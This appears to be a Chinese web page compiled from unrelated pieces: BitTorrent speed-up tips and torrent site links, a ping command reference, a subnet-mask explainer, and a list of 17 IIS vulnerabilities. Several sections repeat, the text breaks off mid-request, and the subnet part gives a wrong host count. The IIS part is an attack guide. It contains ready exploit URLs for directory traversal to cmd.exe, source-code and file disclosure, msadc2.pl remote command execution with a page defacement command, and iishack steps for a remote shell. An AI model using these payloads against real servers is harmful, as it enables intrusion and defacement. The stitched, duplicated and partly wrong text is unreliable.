由于Windows XP的系统文件保护特性，tcpip.sys文件被替换后，会弹出系统文件保护对话框，此时可点击“取消”按钮，然后点击“是”按钮，重新启动后，就可完成对系统文件tcpip.sys的替换。替换tcpip.sys文件可以为BT下载提速，但同时也牺牲了系统的部分安全功能。一旦机器感染病毒和木马，过多地启用新的线程，会加速病毒和木马的蔓延。因此，大家在追求BT下载终极速度的同时，也不能忽视对病毒和木马的防范。
8.解决端口被封的方案
因为BT占用带宽太多，部分网络运营商禁封了BT的活动端口，使得用户不能用BT下载，其实解决方法也很简单。修改文件类型中torrent文件打开时运行的命令，打开“文件夹选项”然后在“文件类型”中找到torrent这种扩展名，单击“高级”，在打开的窗口中选中“open”，然后点“编辑”，在编辑窗口中下面那行就是启动bt的命令行参数了，在此行结尾加一个空格后增加以下控制端口绑定的参数：--minport 最低端口号 --maxport 最高端口号。其中的端口号请自己随意设置，不要是原来的6881～6889范围就可以了（图7）。
提示：例如 原来是：
"F:\BitSpirit\BitSpirit.exe" "%1"
将其改为：
"F:\BitSpirit\BitSpirit.exe" "%1" --minport 8021 --maxport 8079
二、懒人的BT发动机
软件名称： BT发动机（BT Engine）
软件版本： 4.5
授权方式： 共享软件
软件大小： 908KB
下载地址： http://download.soft4kids.com/btesetup.exe
如果你认为以上的方法太麻烦，可以使用“比特精灵”内置的优化功能（图8），按照提示一步步的设置即可。另外还可以使用下面将要介绍给大家的“BT发动机”。
“BT发动机”是专门针对BT下载进行网络优化的小工具，它可以打开更多的计算机端口以加速BT下载，使计算机能够更有效地连接到BT种子和其他下载者，并最大限度地挖掘Windows系统的保留带宽，使之用于下载。并且它还有硬盘缓冲功能，减少磁头读写的次数，最大限度地保护你的硬盘，目前网上还有其汉化版本下载。
首先在“IP类型”中按照你的宽带接入来选择。拥有独立公网IP的用户，选择“公网IP”。校园网、公司内部网络、共享上网的用户选择“局域网”。“CPU占用”选择“中等”，这样你用BT下载的时候还可以保留一些计算机资源做些别的事情。其他选项使用软件默认的设置。设置完毕后，点击下方的“测试”按钮，看看使用后能提高多少下载速度。如果提高的不是很多，建议你再对其他设置进行修改，以便达到最佳状态。最后点击“运行”按钮完成设置（图9）。
提示：每次要进行BT下载之前，首先运行BT发动机；BT下载完成之后，一定要关闭BT发动机。因为即使没有任何BT下载任务，BT发动机仍然会占据网络带宽，影响其他网络程序的运行。
BT资源大放送
1.bt@china联盟
http://bt.btchina.net
中国BT下载的老大，BT下载的综合站，BT@CHINA联盟提供发布页的联盟成员众多，种子多而且更新快。
2.满分网BT
http://www.manfen.net/forum/btsubsystem.php
下载学习资料的好地方,主要是学习资料，是学习“充电”的好网站。
3.5Q地带[教育网]
http://bt.5qzone.net
教育网内的最大BT下载站。
4.BT资源下载大全
http://greatall.com/
号称互联网国内更新最快的专业BT资源索引，日更新1000余项，包括电影、电视连续剧、动漫、综艺、体育、音乐、学习资料以及其他未做分类的资源。
5.天天BT
http://www.ttbt.cn/
BT资源分类站，又全面又方便，天天BT导航条帮你把五花八门的BT资源精选统计归类，使你不再迷茫，节省你的时间。
软件名称： BT搜宝
软件版本： 1.2
授权方式： 免费软件
软件大小： 1.03 MB
下载地址： http://www.eweb form.com/mysoft/btbaby.zip
如果你觉的在这几个网站上查找种子麻烦的话，可以试用一下专门的搜BT工具—“BT搜宝”，它将国内一些比较大的BT网站的数据收集在一起，并且按照一般的分类方法分成综艺、影视、游戏、音乐等多种类别（图10）。点击“更新资源列表”即可下载各大BT网站的最新数据。若想更快地找到目标种子，可进入“搜索BT资源”标签页，键入要搜索的目标关键词，点击“搜索”后，包含此关键词的BT种子资源就全列出来了。在某个种子上单击右键可查看种子详细信息,双击种子就会自动下载种子文件。下载完毕后，会自动启动BT客户端软件来下载该种子包含的文件。
Ping命令的使用
校验与远程计算机或本地计算机的连接。只有在安装 TCP/IP 协议之后才能使用该命令。
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] [-k computer-list]] [-w timeout] destination-list
参数
-t 校验与指定计算机的连接，直到用户中断。
-a 将地址解析为计算机名。
-n count 发送由 count 指定数量的 ECHO 报文，默认值为 4。
-l length 发送包含由 length 指定数据长度的 ECHO 报文。默认值为 64 字节，最大值为 8192 字节。
-f 在包中发送 “不分段”标志。该包将不被路由上的网关分段。
-i ttl 将 “生存时间”字段设置为 ttl 指定的数值。
-v tos 将 “服务类型”字段设置为 tos 指定的数值。
-r count 在 “记录路由”字段中记录发出报文和返回报文的路由。指定的 Count 值最小可以是 1，最大可以是 9 。
-s count 指定由 count 指定的转发次数的时间邮票。
-j computer-list 经过由 computer-list 指定的计算机列表的路由报文。中间网关可能分隔连续的计算机（松散的源路由）。允许的最大 IP 地址数目是 9 。
-k computer-list 经过由 computer-list 指定的计算机列表的路由报文。中间网关可能分隔连续的计算机（严格源路由）。允许的最大 IP 地址数目是 9 。
-w timeout 以毫秒为单位指定超时间隔。
destination-list 指定要校验连接的远程计算机。
关于 Ping 的详细信息 Ping--注意
Ping 命令通过向计算机发送 ICMP 回应报文并且监听回应报文的返回，以校验与远程计算机或本地计算机的连接。对于每个发送报文， Ping 最多等待 1 秒，并打印发送和接收把报文的数量。比较每个接收报文和发送报文，以校验其有效性。默认情况下，发送四个回应报文，每个报文包含 64 字节的数据（周期性的大写字母序列）。
可以使用 Ping 实用程序测试计算机名和 IP 地址。如果能够成功校验 IP 地址却不能成功校验计算机名，则说明名称解析存在问题。这种情况下，要保证在本地 HOSTS 文件中或 DNS 数据库中存在要查询的计算机名。
下面显示 Ping 输出的示例：(Windows用户可用：开始->运行,输入"command" 调出command窗口使用此命令）
C:\>ping ds.internic.net Pinging ds.internic.net
[192.20.239.132] with 32 bytes of data:
Reply from 192.20.239.132: bytes=32 time=101ms TTL=243
Reply from 192.20.239.132: bytes=32 time=100ms TTL=243
Reply from 192.20.239.132: bytes=32 time=120ms TTL=243
Reply from 192.20.239.132: bytes=32 time=120ms TTL=243
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] [-k computer-list]] [-w timeout] destination-list
参数
-t 校验与指定计算机的连接，直到用户中断。
-a 将地址解析为计算机名。
-n count 发送由 count 指定数量的 ECHO 报文，默认值为 4。
-l length 发送包含由 length 指定数据长度的 ECHO 报文。默认值为 64 字节，最大值为 8192 字节。
-f 在包中发送 “不分段”标志。该包将不被路由上的网关分段。
-i ttl 将 “生存时间”字段设置为 ttl 指定的数值。
-v tos 将 “服务类型”字段设置为 tos 指定的数值。
-r count 在 “记录路由”字段中记录发出报文和返回报文的路由。指定的 Count 值最小可以是 1，最大可以是 9 。
-s count 指定由 count 指定的转发次数的时间邮票。
-j computer-list 经过由 computer-list 指定的计算机列表的路由报文。中间网关可能分隔连续的计算机（松散的源路由）。允许的最大 IP 地址数目是 9 。
-k computer-list 经过由 computer-list 指定的计算机列表的路由报文。中间网关可能分隔连续的计算机（严格源路由）。允许的最大 IP 地址数目是 9 。
-w timeout 以毫秒为单位指定超时间隔。
destination-list 指定要校验连接的远程计算机。
关于 Ping 的详细信息 Ping--注意
Ping 命令通过向计算机发送 ICMP 回应报文并且监听回应报文的返回，以校验与远程计算机或本地计算机的连接。对于每个发送报文， Ping 最多等待 1 秒，并打印发送和接收把报文的数量。比较每个接收报文和发送报文，以校验其有效性。默认情况下，发送四个回应报文，每个报文包含 64 字节的数据（周期性的大写字母序列）。
可以使用 Ping 实用程序测试计算机名和 IP 地址。如果能够成功校验 IP 地址却不能成功校验计算机名，则说明名称解析存在问题。这种情况下，要保证在本地 HOSTS 文件中或 DNS 数据库中存在要查询的计算机名。
下面显示 Ping 输出的示例：(Windows用户可用：开始->运行,输入"command" 调出command窗口使用此命令）
C:\>ping ds.internic.net Pinging ds.internic.net
[192.20.239.132] with 32 bytes of data:
Reply from 192.20.239.132: bytes=32 time=101ms TTL=243
Reply from 192.20.239.132: bytes=32 time=100ms TTL=243
Reply from 192.20.239.132: bytes=32 time=120ms TTL=243
Reply from 192.20.239.132: bytes=32 time=120ms TTL=243
什么是子网掩码
以下我们就来深入浅出地讲解什么是子网掩码。
IP地址的结构
要想理解什么是子网掩码，就不能不了解IP地址的构成。互联网是由许多小型网络构成的，每个网络上都有许多主机，这样便构成了一个有层次的结构。IP地址在设计时就考虑到地址分配的层次特点，将每个IP地址都分割成网络号和主机号两部分，以便于IP地址的寻址操作。
IP地址的网络号和主机号各是多少位呢？如果不指定，就不知道哪些位是网络号、哪些是主机号，这就需要通过子网掩码来实现。
什么是子网掩码
子网掩码不能单独存在，它必须结合IP地址一起使用。子网掩码只有一个作用，就是将某个IP地址划分成网络地址和主机地址两部分。
子网掩码的设定必须遵循一定的规则。与IP地址相同，子网掩码的长度也是32位，左边是网络位，用二进制数字“1”表示；右边是主机位，用二进制数字“0”表示。附图所示的就是IP地址为“192.168.1.1”和子网掩码为“255.255.255.0”的二进制对照。其中，“1”有24个，代表与此相对应的IP地址左边24位是网络号；“0”有8个，代表与此相对应的IP地址右边8位是主机号。这样，子网掩码就确定了一个IP地址的32位二进制数字中哪些是网络号、哪些是主机号。这对于采用TCP/IP协议的网络来说非常重要，只有通过子网掩码，才能表明一台主机所在的子网与其他子网的关系，使网络正常工作。
常用的子网掩码
子网掩码有数百种，这里只介绍最常用的两种子网掩码，它们分别是“255.255.255.0”和“255.255.0.0”。
1. 子网掩码是“255.255.255.0”的网络：最后面一个数字可以在0~255范围内任意变化，因此可以提供256个IP地址。但是实际可用的IP地址数量是256-2，即254个，因为主机号不能全是“0”或全是“1”。
2. 子网掩码是“255.255.0.0”的网络：后面两个数字可以在0~255范围内任意变化，可以提供2552个IP地址。但是实际可用的IP地址数量是2552-2，即65023个。
IP地址的子网掩码设置不是任意的。如果将子网掩码设置过大，也就是说子网范围扩大，那么，根据子网寻径规则，很可能发往和本地机不在同一子网内的目的机的数据，会因为错误的判断而认为目的机是在同一子网内，那么，数据包将在本子网内循环，直到超时并抛弃，使数据不能正确到达目的机，导致网络传输错误；如果将子网掩码设置得过小，那么就会将本来属于同一子网内的机器之间的通信当做是跨子网传输，数据包都交给缺省网关处理，这样势必增加缺省网关的负担，造成网络效率下降。因此，子网掩码应该根据网络的规模进行设置。
如果一个网络的规模不超过254台电脑，采用“255.255.255.0”作为子网掩码就可以了，现在大多数局域网都不会超过这个数字，因此“255.255.255.0”是最常用的IP地址子网掩码；笔者见到的最大规模的中小学校园网具有1500多台电脑，这种规模的局域网可以使用“255.255.0.0”。
默认子网掩码
在Windows 2000 Server中，如果给一个网卡指定IP地址，系统会自动填入一个默认的子网掩码。这是Windows 2000 Server为了节省用户输入时间自动产生的子网掩码。比如，局域网最常使用的IP地址“192.168.x.x”默认的子网掩码是“255.255.255.0”。一般情况下，IP地址使用默认子网掩码就可以了。
IP地址的结构
要想理解什么是子网掩码，就不能不了解IP地址的构成。互联网是由许多小型网络构成的，每个网络上都有许多主机，这样便构成了一个有层次的结构。IP地址在设计时就考虑到地址分配的层次特点，将每个IP地址都分割成网络号和主机号两部分，以便于IP地址的寻址操作。
IP地址的网络号和主机号各是多少位呢？如果不指定，就不知道哪些位是网络号、哪些是主机号，这就需要通过子网掩码来实现。
什么是子网掩码
子网掩码不能单独存在，它必须结合IP地址一起使用。子网掩码只有一个作用，就是将某个IP地址划分成网络地址和主机地址两部分。
子网掩码的设定必须遵循一定的规则。与IP地址相同，子网掩码的长度也是32位，左边是网络位，用二进制数字“1”表示；右边是主机位，用二进制数字“0”表示。附图所示的就是IP地址为“192.168.1.1”和子网掩码为“255.255.255.0”的二进制对照。其中，“1”有24个，代表与此相对应的IP地址左边24位是网络号；“0”有8个，代表与此相对应的IP地址右边8位是主机号。这样，子网掩码就确定了一个IP地址的32位二进制数字中哪些是网络号、哪些是主机号。这对于采用TCP/IP协议的网络来说非常重要，只有通过子网掩码，才能表明一台主机所在的子网与其他子网的关系，使网络正常工作。
常用的子网掩码
子网掩码有数百种，这里只介绍最常用的两种子网掩码，它们分别是“255.255.255.0”和“255.255.0.0”。
1. 子网掩码是“255.255.255.0”的网络：最后面一个数字可以在0~255范围内任意变化，因此可以提供256个IP地址。但是实际可用的IP地址数量是256-2，即254个，因为主机号不能全是“0”或全是“1”。
2. 子网掩码是“255.255.0.0”的网络：后面两个数字可以在0~255范围内任意变化，可以提供2552个IP地址。但是实际可用的IP地址数量是2552-2，即65023个。
IP地址的子网掩码设置不是任意的。如果将子网掩码设置过大，也就是说子网范围扩大，那么，根据子网寻径规则，很可能发往和本地机不在同一子网内的目的机的数据，会因为错误的判断而认为目的机是在同一子网内，那么，数据包将在本子网内循环，直到超时并抛弃，使数据不能正确到达目的机，导致网络传输错误；如果将子网掩码设置得过小，那么就会将本来属于同一子网内的机器之间的通信当做是跨子网传输，数据包都交给缺省网关处理，这样势必增加缺省网关的负担，造成网络效率下降。因此，子网掩码应该根据网络的规模进行设置。
如果一个网络的规模不超过254台电脑，采用“255.255.255.0”作为子网掩码就可以了，现在大多数局域网都不会超过这个数字，因此“255.255.255.0”是最常用的IP地址子网掩码；笔者见到的最大规模的中小学校园网具有1500多台电脑，这种规模的局域网可以使用“255.255.0.0”。
默认子网掩码
在Windows 2000 Server中，如果给一个网卡指定IP地址，系统会自动填入一个默认的子网掩码。这是Windows 2000 Server为了节省用户输入时间自动产生的子网掩码。比如，局域网最常使用的IP地址“192.168.x.x”默认的子网掩码是“255.255.255.0”。一般情况下，IP地址使用默认子网掩码就可以了。
IIS常见的17个漏洞
1. iis4hack缓冲溢出
主要存在于.htr,.idc和.stm文件中，其对关于这些文件的URL请求没有对名字进行充分的边界检查，导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe，ncx.exe，你可以到下面 的站点www.technotronic.com去下载，另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下，然后使用iishack.exe来检查目标机器：
c:>iishack.exe80 /ncx.exe
然后你就使用netcat来连接你要检测的服务器：
c:>nc80
如果溢出点正确你就可以看到目标机器的命令行提示，并且是管理远权限。利用程序见iis4hack.zip
2. msadc
IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory，默认情况下， 它允许远程命令发送到IIS服务器中，这命令会以设备用户的身份运行，其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl，我们看看它的help
[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Usage: msadc.pl -h{ -d -X -v }
-h= host you want to scan (ip or domain)
-d= delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u <\hostsharefile> = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s= run only step
Or a -R will resume a (v2) command session
[quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c
如果出现cmd /c后，直接键入命令行，就可以以system权限执行命令了。比如xundi教的：
echo hacked by me > d:inetpubwwwrootvictimwebindex.htm
3. Codebrws.asp
察看文件源代码
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp
4. Showcode.asp
察看文件源代码
http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini
5. Null.htw
察看文件源代码
http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full
6. webhits.dll & .htw
hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted（突出）他们原始搜索的条目，这个文档的名字通过变量CiWebhitsfile传递给.htw文件，Webhits.dll是一个ISAPI应用程序 来处理请求，打开文件并返回结果，当用户控制了CiWebhitsfile参数传递给.htw时，他们就可以请求任意文件，结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞，你可以请求如下条目：
http://www.victim.com/nosuchfile.htw 如果你从服务器端获得如下信息：
format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射，所以你只要取消
这个映射就能避免这个漏洞，你可以在你认为有漏洞的系统中搜索.htw文件，一般会发现如下的程序：
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
一个攻击者可以使用如下的方法来访问系统中文件的内容：
http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就会在有此漏洞系统中win.ini文件的内容。
7. ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容，你可以请求如下的URL： http://www.victim.com/default.asp::$DATA你就得到了源代码
8. ASP Dot Bug
在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。
http://www.victim.com/sample.asp.
9. ISM.DLL
这个漏洞是由Cerberus Information Security team.最早发现的，它运行在IIS4.0和5.0上面，允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS，会使IIS认为客户端请求的是?.htr?文件，而.htr文件的后缀映射到ISM.DLL ISAPI应用程序，这样IIS就把这个.htr请求转交给这个DLL文件，然后ISM.DLL 程序把传递过来的文件打开和执行，但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 除非 WEB 服务停止并重启过，否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题，可以进行多次攻击。
http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr
10. .idc & .ida Bugs
这个漏洞实际上类似ASP dot 漏洞，其能在IIS4.0上显示其WEB目录信息，很奇怪的说有些还在IIS5.0上发现过此类漏洞，通过增加?idc?或者?ida? 后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC，如果此.idc不存在，它就返回一些信息给客户端。
http://www.victim.com/anything.idc 或者 anything.idq
11. +.htr Bug
对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露：
http://www.victim.com/global.asa+.htr
12. NT Site Server Adsamples
通过请求site.csc，一般保存在/adsamples/config/site.csc中，攻击者 可能获得一些如数据库中的DSN，UID和PASS的一些信息，如：
http://www.victim.com/adsamples/config/site.csc
13. /iisadmpwd
IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户帐号，就是你的WEB服务器是通过NAT来转换地址的，还可以被攻击。 每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd，这个目录包含多个 .htr文件，匿名用户允许访问这些文件，这些文件刚好没有规定只限制 在loopback addr(127.0.0.1)，请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下：
c:winntsystem32inetsrviisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样，攻击者可以通过暴力来猜测你的密码。
14. Translate:f Bug
泄露asp文件源代码 存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中， 当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 后缀，并在请求文件后面加/就会显示文件代码，当然在没有打WIN2K SP1补丁 为前提。这个是W2K的漏洞，但由于FP2000也安装在IIS4.0上，所以在IIS4.0上也有这个漏洞。利用程序: trasn1.pl,trans2.pl
15. Unicode
IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞，导致用户可以远程通过IIS执行任意命令。当IIS打开文件时，如果该文件名包含unicode字符，它会对其进行解码，如果用户提供一些特殊 的编码，将导致IIS错误的打开或者执行某些web根目录以外的文件。
http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
可能需要察看以下几个目录
GET
/scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
eeye开发了工具包iishack1.5针对这一漏洞进行测试
16. iis5.0 缓冲溢出
微软Win 2K IIS
5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系，缺省情况下该映射存在。当远程用户提交对.printer的URL请求时，IIS
5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查，远程用户可以提交一个精心构造的针对.printer的URL请求，其"Host:"域包含大约420字节的数据，此时在msw3prt.dll中发生典型的缓冲区溢出，潜在允许执行任意代码。溢出发生后，WEB服务停止响应，Win 2K可以检查到WEB服务停止响应，从而自动重启它，因此系统管理员很难意识到发生过攻击。利用程序见iis5hack.zip
17. IIS CGI文件名二次解码漏洞
IIS在加载可执行CGI程序时，会进行两次解码。第一次解码是对CGI文件名进行http解码，然后判断此文件名是否为可执行文件，例如检查后缀名是否为".exe"或".com"等等。在文件名检查通过之后，IIS会再进行第二次解码。正常情况下，应该只对该CGI的参数进行解码，然而，IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样，CGI文件名就被错误地解码了两次。
通过精心构造CGI文件名，攻击者可以绕过IIS对文件名所作的安全检查，例如对"../"或"./"的检查，在某些条件下，攻击者可以执行任意系统命令。
例如，对于’’这个字符，正常编码后是%5c。这三个字符对应的编码为：
’%’ = %25
’5’ = %35
’c’ = %63
如果要对这三个字符再做一次编码，就可以有多种形式，例如：
%255c
%%35c
%%35%63
%25%35%63
...
因此，".."就可以表示成"..%255c"或"..%%35c"等等形式。在经过第一次解码之后，变成"..%5c"。IIS会认为这是一个正常的字符串，不会违反安全规则检查。而在第二次被解码之后，就会变成".."。因此攻击者就可以使用".."来进行目录遍历，执行web目录之外的任意程序。
主要存在于.htr,.idc和.stm文件中，其对关于这些文件的URL请求没有对名字进行充分的边界检查，导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe，ncx.exe，你可以到下面 的站点www.technotronic.com去下载，另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下，然后使用iishack.exe来检查目标机器：
c:>iishack.exe
然后你就使用netcat来连接你要检测的服务器：
c:>nc
如果溢出点正确你就可以看到目标机器的命令行提示，并且是管理远权限。利用程序见iis4hack.zip
2. msadc
IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory，默认情况下， 它允许远程命令发送到IIS服务器中，这命令会以设备用户的身份运行，其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl，我们看看它的help
[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Usage: msadc.pl -h
-h
-d
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u <\hostsharefile> = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s
Or a -R will resume a (v2) command session
[quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c
如果出现cmd /c后，直接键入命令行，就可以以system权限执行命令了。比如xundi教的：
echo hacked by me > d:inetpubwwwrootvictimwebindex.htm
3. Codebrws.asp
察看文件源代码
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp
4. Showcode.asp
察看文件源代码
http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini
5. Null.htw
察看文件源代码
http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full
6. webhits.dll & .htw
hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted（突出）他们原始搜索的条目，这个文档的名字通过变量CiWebhitsfile传递给.htw文件，Webhits.dll是一个ISAPI应用程序 来处理请求，打开文件并返回结果，当用户控制了CiWebhitsfile参数传递给.htw时，他们就可以请求任意文件，结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞，你可以请求如下条目：
http://www.victim.com/nosuchfile.htw 如果你从服务器端获得如下信息：
format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射，所以你只要取消
这个映射就能避免这个漏洞，你可以在你认为有漏洞的系统中搜索.htw文件，一般会发现如下的程序：
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
一个攻击者可以使用如下的方法来访问系统中文件的内容：
http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就会在有此漏洞系统中win.ini文件的内容。
7. ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容，你可以请求如下的URL： http://www.victim.com/default.asp::$DATA你就得到了源代码
8. ASP Dot Bug
在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。
http://www.victim.com/sample.asp.
9. ISM.DLL
这个漏洞是由Cerberus Information Security team.最早发现的，它运行在IIS4.0和5.0上面，允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS，会使IIS认为客户端请求的是?.htr?文件，而.htr文件的后缀映射到ISM.DLL ISAPI应用程序，这样IIS就把这个.htr请求转交给这个DLL文件，然后ISM.DLL 程序把传递过来的文件打开和执行，但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 除非 WEB 服务停止并重启过，否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题，可以进行多次攻击。
http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr
10. .idc & .ida Bugs
这个漏洞实际上类似ASP dot 漏洞，其能在IIS4.0上显示其WEB目录信息，很奇怪的说有些还在IIS5.0上发现过此类漏洞，通过增加?idc?或者?ida? 后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC，如果此.idc不存在，它就返回一些信息给客户端。
http://www.victim.com/anything.idc 或者 anything.idq
11. +.htr Bug
对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露：
http://www.victim.com/global.asa+.htr
12. NT Site Server Adsamples
通过请求site.csc，一般保存在/adsamples/config/site.csc中，攻击者 可能获得一些如数据库中的DSN，UID和PASS的一些信息，如：
http://www.victim.com/adsamples/config/site.csc
13. /iisadmpwd
IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户帐号，就是你的WEB服务器是通过NAT来转换地址的，还可以被攻击。 每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd，这个目录包含多个 .htr文件，匿名用户允许访问这些文件，这些文件刚好没有规定只限制 在loopback addr(127.0.0.1)，请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下：
c:winntsystem32inetsrviisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样，攻击者可以通过暴力来猜测你的密码。
14. Translate:f Bug
泄露asp文件源代码 存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中， 当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 后缀，并在请求文件后面加/就会显示文件代码，当然在没有打WIN2K SP1补丁 为前提。这个是W2K的漏洞，但由于FP2000也安装在IIS4.0上，所以在IIS4.0上也有这个漏洞。利用程序: trasn1.pl,trans2.pl
15. Unicode
IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞，导致用户可以远程通过IIS执行任意命令。当IIS打开文件时，如果该文件名包含unicode字符，它会对其进行解码，如果用户提供一些特殊 的编码，将导致IIS错误的打开或者执行某些web根目录以外的文件。
http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
可能需要察看以下几个目录
GET
/scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
